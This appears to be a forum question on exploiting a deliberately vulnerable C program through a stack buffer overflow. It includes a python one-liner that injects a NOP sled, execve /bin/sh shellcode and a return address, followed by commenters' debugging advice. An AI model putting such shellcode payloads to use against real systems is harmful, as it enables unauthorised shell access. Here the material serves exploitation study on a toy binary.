2
#include <stdio.h>

void secret()
{
    printf("Congratulations!\n");
}

void echo()
{
    char array[60];
    scanf("%s", array);
    printf("You entered: %s\n", array);    
}

int main()
{
    echo();
    return 0;
}

above is the code which I am trying to exploit.

I have found the ebp address using gdb, although I know it's difficult to point to the exact location. I have used NOP sled technique

buffer size allocated - 0x44 - 68bytes

shell code is - 25 bytes

python -c 'print "\x90"*47 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "\xa8\xbb\xff\xff"' | ./test

I am trying to jump somewhere in the middle of NOP sled.

And not getting a segmentation fault, but neither am I getting the access to the shell.

  • Did you check for bad characters? – SeeYouInDisneyland Aug 29 '18 at 10:09
  • Yes, I did. Actually, when I try to jump to the address where the secret function is, it works perfectly. – Sathyam Lokare Aug 29 '18 at 10:12
  • Take the one which is 28 bytes in length, you can find it in exploit-db od you can make your own. Probably shellcode is bad – Tryna Learn Somethin Aug 29 '18 at 10:57
  • tried the one which is 28 bytes in length and 23 bytes in length. got it from shellstorm, But same result. – Sathyam Lokare Aug 29 '18 at 11:47
  • Take a look at your disassembled HEX-shellcode and see if the ASM code makes sense. If it does and you still have the problem, TBH, I think it would be best for you to give us a complete walkthrough of the steps you took to reach that point. How you got the lengths, how you got the shellcode, how you found the bad characters and so on. Also, it'd be good to know what registers you take over and with what exact offset (look it up with Kali's pattern_create and pattern_offset). – SeeYouInDisneyland Aug 30 '18 at 6:46

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.